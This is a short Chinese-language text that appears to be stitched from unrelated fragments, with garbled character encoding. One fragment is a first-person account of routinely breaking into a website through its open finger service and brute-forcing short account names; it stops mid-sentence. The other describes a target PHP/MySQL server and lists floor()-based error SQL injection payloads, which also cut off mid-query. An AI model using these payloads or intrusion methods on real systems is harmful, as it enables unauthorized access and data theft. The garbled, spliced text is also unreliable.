我發(fā)現(xiàn)了一個網(wǎng)站，于是常規(guī)入侵。很好，它的FINGER開著，于是我編了一個SHELL，aaa帳號試到zzz（by the way，這是我發(fā)現(xiàn)的一個網(wǎng)上規(guī)律，那就是帳號的長度與口令的強度成正比， 如果一個帳號只有兩三位長，那它的口
目標站點環(huán)境：
Windows Server 2008 R2 x64
PHP Version 5.4.31
MySQL Server 5.5
開啟安全模式禁用一些函數(shù):disable_functions,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,escapeshell
1、通過floor報錯
可以通過如下一些利用代碼
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 un
